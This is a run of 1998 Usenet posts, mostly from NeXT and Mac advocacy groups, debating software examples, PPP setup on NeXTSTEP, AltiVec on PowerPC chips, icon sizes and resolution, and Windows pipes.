> namely, "Do you have an API that can do what we need to do?" There
> are just too many things they might want to do for us to be able to
> spend time providing an API just in case.
Then give them examples. Use your clients to leverage the
example cases. I mean if I was selling a product why not tell
my clients that if they use the product and can funnel back
a working example with source that we can distribute in the
example set that we would give them updates for free or reduced
cost? I know it cuts into profits, but I would think that if each
example can bring one new client on board then you've lost
nothing and gained everything.
This is something that I've talked about with many people and
that is the fact that some of the most powerful packages are
the most daunting to learn/use - they are also the most expensive.
It is easier to find and learn a more limited package because
usually the API's or interfaces/controls are far simpler - and
therefore less daunting.
You can argue that we are lazy and willingly herded. I would
counter and say that people are smart and when they want
a solution - they want a solution that is very close to being
specifically designed for their needs. This is where example
cases can help sell a very complicated package - and in
fact becomes the value added. Since if someone sees an
example that is close to what they want to do - they will
be able to see how to modify it - and will better be able to
learn than if they have to start from complete scratch.
I suspect this was/is why UNIX is so daunting to people
sure it can do everything. But people want a step-by-step
procedure to accomplish a task or implement a feature.
Once they finish that then they'll invariably want to enhance
the canned version. Once they get to that point they begin
to ask questions about HOW that step-by-step procedure
accomplishes the first task. Then they learn how things
work. After that then they ask what's available to help
me enhance the first. In this case usually NT fails miserably
or one is faced with purchasing yet another product.
But more often than not on Unix that enhancement is already
in the product or within the product you already purchased.
It is at that point that since the person has learned
1) How to get information on the pieces of the step-by-step
implementation (commands, parameters one can pass, form, usage, etc.)
2) What kinds of commands are available
3) Where they are located
4) How they are used/put together (usage again)
That they will know where to look for something in that
package that might accomplish the enhancement needed
and then implement it. (even looking in other examples)
This is how a flexable package can become much less
daunting. And more importantly is a nice path to illustrate how
powerful a particular package is (by the sheer number of very different
examples - or combined examples) and how easy to use/learn.
I have found that most solution providers fail to provide
enough example cases to illustrate their product, nor do
they provide an adequate tuitorial to even basic functions
that people would need.
If I had a magic morph box in my hand that I told you would
solve all your tool problems (you'd never need another tool
again) all for the low price of $119.95 would you buy it?
No. You'd want to either
1) Watch me demonstrate it
2) or Try it yourself
Ultimately you'd want to see everything it can do - see it in
operation. And see how to make it do that operation for you.
Once your convinced that indeed the product 'could' be
useful then you'd decide whether the value was sufficient
to pay the price. And even after you purchase it only
if indeed it did what you really wanted would you keep it
and really use it. If not you'd just throw it on the shelf and
never use it (a unsucessful product in my mind). But if
you use it, and it's valuable, what do you think that person
will do for the seller. By them using it they are standing
advertising for everyone they know that might need the
same product (word of mouth). They are also a living
example that it IS a useful product, AND that the value
has been found sufficient.
The problem with most software is that we never get to try
the full product, nor do we get to see anyone using it to know
what it will do. And rarely do we get a word of mouth referral.
Though when you do you know it's probably a good product
(Right?!).
> A couple years ago, I coined a standard response to give to our
> marketting people. A specific usage is either supported, unsupported,
> or "not unsupported". "Supported" meaning that we've specifically
> looked at the topic, and it's in there. "Unsupported" meaning that
> we've specifically looked at the topic, and it's not in there. "Not
> unsupported" meaning that we've looked at the topic and see no reason
> why we _couldn't_ do it - we just haven't bothered to do it yet.]
Now that would really sell me? Really how about Supported and we
have an Example we can show you. One that is freely available.
And to Not-Unsupported - well to me you might as well have said
Not-Supported since it means
1) You've not had enough interest to check into it.
2) And even if it works, there probably would not be enough income
to improve or to actually support it.
Scott,
I'm not hammering you on this just trying to put some things
into perspective from the buyer side of the fence. I'm aware of
many the problems from the seller side but too often the seller
seems to have this grand view that can't see the trees for the
forest. People have to first be shown the trees to begin
to appreciate the forest. And I find many software companies
fail miserably on this front. I think if these companies would
leverage the efforts of their users as I suggested above they
would accellerate acceptance of their product(s).
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Wed, 23 Sep 1998 14:57:47 -0500
Organization: Ericsson North America Inc.
Message-ID: <360952BA.17F5CCA9@ericsson.com>
References: <6u6fpo$jq3@newsb.netnews.att.com> <jpolaski-2109982032190001@d150-184.ce.mediaone.net> <libra-2109982353010001@h24-65-33-83.rd.wave.shaw.ca> <6u88v3$lsb$1@nnrp1.dejanews.com> <3607C5DE.715B7989@nstar.net> <6u8t1u$c9v$1@nnrp1.dejanews.com>
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spagiola@my-dejanews.com wrote:
>
> Michael Peck <mjpeck@nstar.net> wrote:
> > spagiola@my-dejanews.com wrote:
> > > > Hey who cares if NT 5 is on time?
[...]
> Well, IIRC one of the bets was "Rhapsody ships before NT5". That being the
> case, I would imagine that you cared when NT5 ships.
True. But not whether NT ships on time, no? As I tried to make clear,
the emphasis is on anticipation of Rhapsody's shipment. I don't give a
rip when NT ships; I've never tried to make the excuse (as others have)
that the later NT ships the more justifiable are Rhapsody's delays.
[cut]
MJP
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Worried about MacOS X
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ezr6yp.G7I@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: spammers@ruin.the.internet.channelu.com
Organization: none
References: <6u3f47$3nb$1@schbbs.mot.com> <360571EA.7CBACC53@trilithon.com>
<6u5827$c13$1@schbbs.mot.com> <3606F3F8.D2B36795@trilithon.com>
<Ezp21u.C7n@T-FCN.Net> <3607e62a.15432252@news.icx.net>
<EzpHJ8.LLJ@T-FCN.Net> <6ubef6$2r7$2@msunews.cl.msu.edu>
Mime-Version: 1.0
Date: Wed, 23 Sep 1998 20:16:00 GMT
In <6ubef6$2r7$2@msunews.cl.msu.edu> spammers@ruin.the.internet.channelu.com
wrote:
> Model # of Modem:
On this note... I am likely one of a very few people that is _very_ well
experienced with the real needs of modems in terms of setup - a side effect
of my years at SoftArc. For today's modems, a totaly of about 3 scripts is
needed, this would be for...
Hayes High Speed (note, this is NOT "Hayes Compatible")
USR
Microcom (getting rarer)
90% of the modems built in the last three years can be supported with 10
scripts. 90% of the modems in the last five years can be supported with 25
scripts. To go beyond that is likely both futile and useless (although I got
about 80% coverage of all commercial modems ever produced up until three
years ago).
> number to dial
Number(s). You should be able to gang them.
> initial string?:
> login name:
> password:
> final string?:
Actually the OT/PPP system is very good at this, for most logins you just
type in the username and password and it does the rest. For other users you
go to another tab and script it.
Maury
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
Date: 23 Sep 1998 18:25:42 GMT
Organization: Michigan State University
Message-ID: <6ubef6$2r7$2@msunews.cl.msu.edu>
References: <6u3f47$3nb$1@schbbs.mot.com> <360571EA.7CBACC53@trilithon.com>
<6u5827$c13$1@schbbs.mot.com> <3606F3F8.D2B36795@trilithon.com>
<Ezp21u.C7n@T-FCN.Net> <3607e62a.15432252@news.icx.net>
<EzpHJ8.LLJ@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: maury@istar.ca
In <EzpHJ8.LLJ@T-FCN.Net> Maury Markowitz wrote:
> In <3607e62a.15432252@news.icx.net> Michael McCulloch wrote:
> > Any luck with the 3rd party PPP for DR2? Does it work on Intel hw?
>
> Haven't even tried. The experience was so distasteful that my current
> thoughts are towards a router and ADSL line instead. However I don't really
> do enough work at home to justify the $90 or so a month for ADSL, and Roger's
> still won't provide cable in my area.
>
> Gatekeeper is supposed to be pretty good these days, but I haven't tried
> it. The OS4.2 version I had was as confusing as anything else.
>
> Maury
I only have DR1 not DR2 so I can't say. Nor do I really want to try it.
I agree with Maury that my PPP experiences were not good. I finally
broke down and wrote some scripts that once a good connection
was configured that a simple command pppon/pppoff by any user
was sufficient to get ppp going or turn it off. If pppon is left on then
the machine would automatically connect at boot time, and disconnect
as it shuts down. It was robust enough to not need a pppreset - though
I was considering that too.
I hope GateKeeper is better. I'm not too hopeful though since the
only questions a user should ever have to answer are.
Model # of Modem:
Serial Port modem is attached to:
number to dial
PAP or CHAP (though most ISP's do both now)
initial string?:
login name:
password:
final string?:
After that other options/preferences would be:
drop connection after X minutes of inactivity where 0 would mean never.
How often to send a packet to keep connection up?
Possibly port speed.
Last time I saw PPP it was not as simple as this since one still had to
go into the config files and edit them to enter this data.
I do just about enough stuff to justify the dedicated ISDN. If I could
get ASDL @ $90/month with at least one dedicated IP I'd do it in a
heartbeat.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Multiple Users (was: Worried about MacOS X)
Date: Wed, 23 Sep 1998 21:47:50 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ubqa6$b2n$1@nnrp1.dejanews.com>
References: <19980922105025.01295.00000008@ng79.aol.com> <6u961e$e9c$2@msunews.cl.msu.edu> <360831C3.D9DAC82F@trilithon.com> <edewEzpouz.4vC@netcom.com>
edew@netcom.com (Eric Dew) wrote:
> You got it. Being a long-time NeXT user, I have to explain to people why I
> want to have multiple windows opened on the desktop. Most people are still
> enlarging their windows to maximize (on both MS OSes and Macs) and flip from
> one maximized window to another....what's the point of multi-tasking if one
> can only see one window at a time?
The thing is, even if you know full well the advantages of multi-tasking, MS
OSs make it so darn difficult to use more than one window at the time, what
with their habit of overloading each window with a gazillion task bars, plus
those exasperating modal panels they like so much, that maximizing is really
the only way to work.
I'm a long-time NeXTSTEP user, and my NeXT regularly has windows from 3-4
different apps all over the screen (I was going to write 'littered', but
they're not -- they're carefully arranged so that I can work on all more or
less simultaneously). At the same time, the NT system i have sitting right
next to it only has one maximized window visible, even when multiple apps are
running.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: dfevans@bbcr.uwaterloo.ca (David Evans)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
Date: 23 Sep 1998 19:52:48 GMT
Organization: University of Waterloo
Message-ID: <906580368.244441@watserv4.uwaterloo.ca>
References: <6u3f47$3nb$1@schbbs.mot.com> <3606F3F8.D2B36795@trilithon.com> <Ezp21u.C7n@T-FCN.Net> <3607e62a.15432252@news.icx.net>
Cache-Post-Path: watserv4.uwaterloo.ca!unknown@bcr11.uwaterloo.ca
In article <3607e62a.15432252@news.icx.net>,
Michael McCulloch <mmccullo@nospam.net> wrote:
>
>Any luck with the 3rd party PPP for DR2? Does it work on Intel hw?
>
Tried it--works fine.
But I've done heaploads of PPP installs (well, four or five) under NeXTSTEP
3.3 so it was familiar territory.
--
David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
University of Waterloo "Default is the value selected by the composer
Ontario, Canada overridden by your command." - Roland TR-707 Manual
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Wed, 23 Sep 1998 17:31:33 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2309981731330001@166-93-69-54.rmi.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net> <Josh.McKee-1909982157120001@166-93-57-197.rmi.net> <6u24rn$mu3$1@birch.prod.itd.earthlink.net> <Josh.McKee-2009980954380001@166-93-82-37.rmi.net> <6u3hb2$9sn$1@holly.prod.itd.earthlink.net> <Josh.McKee-2109981713200001@166-93-57-171.rmi.net> <6u8naq$s95$1@birch.prod.itd.earthlink.net>
NNTP-Posting-Date: 23 Sep 1998 23:29:00 GMT
In article <6u8naq$s95$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
> Joshua T. McKee wrote in message ...
> >I see nothing in your message that even hints at sarcasm. This is an
> >attempt to change an insult into more of an insult. Nice try.
>
>
>
> Ahhh yes another poster boy for the click-and-drool interface (cadi).
So show me where the sarcasm was. Since I am such a "click-and-drool"
poster boy (who also happens to be an avid unix user/advocate) that can't
find it on my own.
> I'd looooovvvveeee to continue this battle of wits with you but I see you
> are unarmed.
Apparenty I'm not...I'm armed with logic and reason. Since that isn't
what you're using, I am definitly ill prepared. So please, point it out
for my poor, miserable soul.
Josh
BTW - I've saved you the trouble of having to locate the passage:
"Wow, hard hitting insults. What next, are you going to call me a clown
just like you buddy Derek? BAHAHAHA!"
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Wed, 23 Sep 1998 17:32:22 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2309981732220001@166-93-69-54.rmi.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net> <Josh.McKee-1909982157120001@166-93-57-197.rmi.net> <6u24rn$mu3$1@birch.prod.itd.earthlink.net> <Josh.McKee-2009980954380001@166-93-82-37.rmi.net> <6u3hb2$9sn$1@holly.prod.itd.earthlink.net> <Josh.McKee-2109981713200001@166-93-57-171.rmi.net> <6u6qrq$6a2$1@nntp2.ba.best.com> <Josh.McKee-2209981652040001@166.93.82.135> <6u9i68$17q$1@holly.prod.itd.earthlink.net>
NNTP-Posting-Date: 23 Sep 1998 23:29:49 GMT
In article <6u9i68$17q$1@holly.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
> Joshua T. McKee wrote in message ...
> >Again, I do not see anything sarcastic there, unless the reference to
> >Derek is somehow meant to me something to me, which it doesn't.
>
>
> Somebody call a medic, someone's been affected with the click-and-drool
> interface!!! (MacOS)
So how about pointing it out since I can't figure it out myself.
Josh
Here it is again:
"Wow, hard hitting insults. What next, are you going to call me a clown
just like you buddy Derek? BAHAHAHA!"
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Wed, 23 Sep 1998 17:28:28 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2309981728290001@166-93-69-54.rmi.net>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net> <6u12g9$3f3$1@ash.prod.itd.earthlink.net> <36074e77.39113826@news.alt.net> <6u1lfo$snd$1@birch.prod.itd.earthlink.net> <don.brown-1909982319020001@dsm-ia1-02.ix.netcom.com> <6u24bb$m92$1@birch.prod.itd.earthlink.net> <Josh.McKee-2009981011040001@166-93-82-37.rmi.net> <chrisj-2209981528220001@usr1a15.bratt.sover.net>
NNTP-Posting-Date: 23 Sep 1998 23:25:55 GMT
In article <chrisj-2209981528220001@usr1a15.bratt.sover.net>,
chrisj@airwindows.com (Chris Johnson) wrote:
> In article <Josh.McKee-2009981011040001@166-93-82-37.rmi.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> > In article <6u24bb$m92$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
> > <s124@[REMOVE]earthlink.net> wrote:
> > > FACT: DR-DOS on a 286 will NOT crash as much as the iMac.
>
> > Evidence to support this "fact" please.
> > Josh
[ SNIP - explaination of why iMac would be less stable ]
> With this in mind, his argument is irrefutable! And I recommend iMac
> users learn what they can discard to clean up their systems.
While what you say has merit, it really doesn't support his "FACT". If he
is going to state that it is FACT (emphasis his), then he needs to provide
something to back it up.
Josh
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: 24 Sep 1998 05:28:13 GMT
Organization: University of Illinois at Chicago
Message-ID: <6ucl9d$19os$1@piglet.cc.uic.edu>
David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: Don't think so. Maybe 1 or 2 algorithms will be sped up. Although
: Altivec will require explicit OS support, and I'm not sure that IBM
: will put it in AIX just yet, since it doesn't debelieve in Altivec for
: the markets it is targetting. We'll have to wait and see on this one.
I think they just want to get their processors out into the market
as fast as possible because the PPC750 seems to be serving as the
role as the product (along with SRAMs) that will be bringing up new
logic processes. Also, maybe with the transition of Sommerset to Motorola
they don't get rights to everything that was in the pipeline. I think
down the road AltiVec will be very useful for what IBM is targeting
both their high end CPUs for as well as their embedded products.
On the high end side, sure there is some use for AltiVec in 3D
graphics, but it could also be useful for telephony applications
and for accelerating multimedia functions in databases like
Oracle, DB2, or Informix. On the embedded front, AltiVec could
be quite useful in serving their networking and telecom customers.
Message-ID: <3608A0B5.919469E0@home.com>
From: "Sam J. Bowling" <tdi@home.com>
Organization: @Home Network
MIME-Version: 1.0
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
References: <6t1pv4$mr8$1@bunyip.cc.uq.edu.au> <35fa4488.11961504@news.supernews.com> <6tgmn9$jmh$1@bunyip.cc.uq.edu.au> <35FBAA84.F5B8CE84@inficad.com> <6th4k8$2o$1@bunyip.cc.uq.edu.au> <35fd738b.2127351@news.supernews.com> <mteh-ya02408000R1309982156530001@news.earthlink.net> <35fda148.4397068@news.supernews.com> <mteh-ya02408000R1409981924070001@news.earthlink.net> <360533c8.27512398@news.supernews.com> <mteh-ya02408000R1709982359020001@news.earthlink.net> <36033155.921572@news.supernews.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Thu, 24 Sep 1998 07:20:06 GMT
NNTP-Posting-Date: Thu, 24 Sep 1998 00:20:06 PDT
Just in case people didn't read this whole, huge thread I thought I'd
quote the last little bit which is very well worded.
"T. Max Devlin" wrote:
> Remember that workflow system I built? That, to me, was learning
> the streets to the business offices I had to work with. I knew the
> way, and Microsoft ripped the roads up and changed where the
> buildings were. Several times.
> Computers are not like cars. Because if they were, we'd all be
> highway ketchup.
LOL!
--
Sam J. Bowling
Third Dimension Illustration
http://24.0.216.43/
From: nospam@nospam!.kom (Steve)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: Thu, 24 Sep 1998 11:54:10 GMT
Organization: The Ohio State University
Message-ID: <360a323c.2878639@nntp.service.ohio-state.edu>
References: <6ucl9d$19os$1@piglet.cc.uic.edu>
On 24 Sep 1998 05:28:13 GMT, amaliy1@uic.edu (Anil T Maliyekke) wrote:
>David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
>
>: Don't think so. Maybe 1 or 2 algorithms will be sped up. Although
>: Altivec will require explicit OS support, and I'm not sure that IBM
>: will put it in AIX just yet, since it doesn't debelieve in Altivec for
>: the markets it is targetting. We'll have to wait and see on this one.
>
>I think they just want to get their processors out into the market
>as fast as possible because the PPC750 seems to be serving as the
>role as the product (along with SRAMs) that will be bringing up new
>logic processes. Also, maybe with the transition of Sommerset to Motorola
>they don't get rights to everything that was in the pipeline. I think
>down the road AltiVec will be very useful for what IBM is targeting
>both their high end CPUs for as well as their embedded products.
>On the high end side, sure there is some use for AltiVec in 3D
>graphics, but it could also be useful for telephony applications
>and for accelerating multimedia functions in databases like
>Oracle, DB2, or Informix. On the embedded front, AltiVec could
>be quite useful in serving their networking and telecom customers.
>
According to every report I've seen, IBM does not plan to implement
AltiVec at all.
from the following URL:
http://macweek.zdnet.com/cgi-bin/framemaker.cgi?http://www.emediaweekly.com/1998/09/21/sy-g4.html
"IBM does not intend to implement AltiVec; instead, the company said
it will focus on faster clock speeds and other technologies that
benefit all applications."
-Steve
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: UIs Re: 48-bit pixels in MacOS 8.5?
Date: 24 Sep 1998 18:28:56 GMT
Organization: UCO & Associates, LLP
Message-ID: <6ue318$j8n$1@wbnws01.ne.highway1.com>
References: <01bde1aa$5fc3f690$06387880@chewy> <forrestDELETE-THIS!-1609981340590001@term2-29.vta.west.net> <6u2uc9$f7l$1@wbnws01.ne.highway1.com> <3604F00A.2CC4@earthlink.net> <forrestDELETE-THIS!-2009981418080001@term1-25.vta.west.net> <6u7dle$kak$1@wbnws01.ne.highway1.com> <360a2b4d.0@news.camtech.net.au>
"Timothy Priest" <timothyp@tne.net.au> wrote:
> While I think the NeXT UI is nice the large icons can be a bit
> overwhelming on a smallish screen. If you have run a 12 inch
> screen at 1024x768 you must have eyes that dont tire cause I'd
> go f.... insane trying to work continuously at that rez; but,
> each to their own.
This argument is bunk. A 48x48 icon at a tighter resolution, say 100dpi,
will end up being a more detailed version approximatly the same actual size
as a 32X32 icon at 72dpi.
At 72dpi, a 32X32 icon takes up about .44".
At 87dpi (approximatly for a 15" screen at 1024X768) a 48X48 icon takes up
.55"; it actually is BIGGER.
Now your average 12" screen at 800X600 is roughly 83.3dpi and a 32X32 icon
will take up .38".
A 12" screen at 640X480 is roughly 66.67dpi. A 32X32 icon will take up .47".
A 12" screen at 1024X768 has roughly a 106.67 dpi screen. A 48X48 icon will
take .45". What does this prove? That even on a 12" screen, a NeXT icon is
at least as big as a 32X32 icon is at 72dpi. But it has the added benefit of
having a higher resolution. Unless you feel a worse resolution at the same
or larger physical size is bad for viewing, which would show you to be an
idiot, your analysis is faulted and not thought through.
Moreover, a 48X48 icon can't help but be more legible on a 1024X768, 12"
screen than a 32X32 icon on the same screen.
In otherwords, the clarity of a next sized icon will in most situations be
much better than the 32X32 icons at lower resolutions, period.
Perhaps what *you* had difficulty with was reading text and what not, which
if let to default settings would appear rather small on a 12" screen at
1024X768. But those font sizes under OPENSTEP may be increased. So in
essence you will get the same sized text but at much greater resolution.
Again, I open all my documents at 145%, so when I put a page up to my screen,
the screen representation correspons inch for inch with the printed page;
however, the screen representation is now at 100dpi instead of 72dpi--more
almost always being better in the context of resolution.
> As for saying the Mac UI is Barney like, well again each to their
> own. While I think the NeXT interface is nice in many ways it
> is hardly the holy grail. Still Apple could and should pull
No one said it was the holy grail. But at least it's not a purple barney
tinker toy UI, being dragged into the mire by 1983 design considerations,
further being dragged into obsolecense by the bozo ferver of it's user base
and apple's management of valuing habit over merit.
--
Thanks, be well, take care, later, John Kheit; self expressed...
___________________________________________________________________
UCO & A s s o c i a t e s , L L P http://www.uco-iplaw.com
ASCII, MIME, PGP, SUN, & NeXTmail OK mailto:jkheit@uco-iplaw.com
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 24 Sep 1998 20:32:45 GMT
Organization: University of Illinois at Chicago
Message-ID: <6uea9d$1uru$2@piglet.cc.uic.edu>
References: <6ucl9d$19os$1@piglet.cc.uic.edu> <360a323c.2878639@nntp.service.ohio-state.edu>
Steve (nospam@nospam!.kom) wrote:
: According to every report I've seen, IBM does not plan to implement
: AltiVec at all.
: from the following URL:
: http://macweek.zdnet.com/cgi-bin/framemaker.cgi?http://www.emediaweekly.com/1998/09/21/sy-g4.html
: "IBM does not intend to implement AltiVec; instead, the company said
: it will focus on faster clock speeds and other technologies that
: benefit all applications."
: -Steve
Some time ago on MacWeek or one of the other computer journals,
an IBM spokesman did say that if Apple really wanted to have
AltiVec support, that they would consider it.
Anil
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 24 Sep 1998 20:31:31 GMT
Organization: University of Illinois at Chicago
Message-ID: <6uea73$1uru$1@piglet.cc.uic.edu>
References: <6ucl9d$19os$1@piglet.cc.uic.edu> <3609E6C6.6A20AFCE@nstar.net>
Michael J. Peck (mjpeck@nstar.net) wrote:
: Anil T Maliyekke wrote:
: > I think they just want to get their processors out into the market
: > as fast as possible because the PPC750 seems to be serving as the
: > role as the product (along with SRAMs) that will be bringing up new
: > logic processes.
: I think they're just less interested in AltiVec than Motorola is. That
: would be in line with what I've been reading about AltiVec, which is
: that it's a breakthrough in embedded networking and telecom applications
: but probably more trouble than it's worth for generic applications like
: workstations and servers.
: After all, if it increases the cost of the chip but yields little
: benefit for a general-purpose OS, why use it? I can see how Motorola
: could make use of it, even in desktop applications, for the purpose of
: widening appeal and funding research. But I just can't see how IBM is
: going to justify investment in a technology that will yield timid
: benefits in a server environment.
In the short term, the amount of chip space AltiVec will consume
is probably signficant, but in the long term transitor budgets
are going to increase signficantly. So in a couple of years
the increase in cost is not going to be as signficant.
: [cut]
: > On the embedded front, AltiVec could
: > be quite useful in serving their networking and telecom customers.
: I have seen a lot of literature regarding embedded uses in these
: markets, uses that can push Motorola into markets currently led by the
: likes of AMD. Apparently the PowerQuicc II is a pretty snazzy telecom
: beastie. But I am pretty skeptical of AltiVec's success in
: general-purpose markets. They're going to rewrite the OS, the compilers,
: and the apps, and then convince developers to start using the
: instructions just to get dubious performance gains on a small number of
: the newest machines? I don't really see that happening.
Compared to the changes required for supporting 64 bit processors,
adding AltiVec probably won't be too stressful. And if IBM also
wants to start applying its high end processors to a larger market,
which IBM has indicated it wants to do in the long run, adding AltiVec
makes sense. Besides IBM, being a large software developer itself,
isn't totally dependent on other ISVs. IBM sells several software
products which could likely benefit from the DSP side of AltiVec,
like DB2 Universal Database's multimedia and extenders. Also,
I've seen a few people mention that the Alpha has extracted
a great deal of benefit on SpecInt95 from standard C library string
routines which have been written to take advantage of some of the 64
bit byte operations.
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 23 Sep 1998 22:04:15 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6uck4k$b6u$1@nnrp3.snfc21.pbi.net>
References: <heaney-0509981648590001@24.0.246.137><6svokr$51r$1@nnrp02.primenet.com><heaney-0809980032490001@24.0.246.137><6t3if6$h$1@nnrp02.primenet.com><heaney-0809981243030001@24.0.246.137><6t3nal$124$2@nnrp02.primenet.com><heaney-0809981533040001@24.0.246.137><6t42o6$puq$1@nnrp03.primenet.com><heaney-0809982244000001@24.0.246.137><6t68ia$b2c$1@nnrp03.primenet.com><heaney-0909981627150001@24.0.246.137><6t76bj$hrb$1@nnrp03.primenet.com><6t77jj$6rq$1@nnrp3.snfc21.pbi.net><6t8nsa$ij$1@nnrp03.primenet.com><6t97qg$ag3$1@nnrp3.snfc21.pbi.net><35F94B82.BF895AAE@ericsson.com><6tbq52$q06$1@nnrp4.snfc21.pbi.net><35F9AC3D.8593934@ericsson.com><6tevmv$a1k$1@nnrp3.snfc21.pbi.net><jdoherty-1209982342090001@aus-tx18-17.ix.netcom.com><6tfjrn$nco$1@nnrp4.snfc21.pbi.net><slrn6vo669.s81.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu><SCOTT.98Sep15132801@slave.doubleu.com><6tp0vn$m9s$1@nnrp3.snfc21.pbi.net> <6tpdpe$oko$1@nnrp4.snfc21.pbi.net> <SCOTT.98Sep22123904@slave.doubleu.com>
Scott Hess wrote in message ...
>Regular filesystem layout,
What do you mean by this?
>rooted filesystem layout,
Again, what do you mean by this? And why is this important?
(I'm not trying to be obtuse or dense, mostly curious as to
why it's important to have a 'rooted' file system layout.
>flexible redirection of various file descriptors,
You mean stdin, stdout and stderr for CLI applications?
You can do this with the Win32 API, though there seems to
be a bug with Windows 95 that requires a workaround; refer
to KB Article 'Q150956: Info: Redirection Issues on Windows
95 MS-DOS Applications.'
But the short of it is that you can redirect stdin, stdout
and the like and launch a console application in the same
way that you can redirect stdin, stdout and stderr before
forking and execing a new Unix process.
>named pipes,
Windows 95, 98 and NT supports both named pipes and
anonymous pipes, though their usage is a little
different than with Unix.
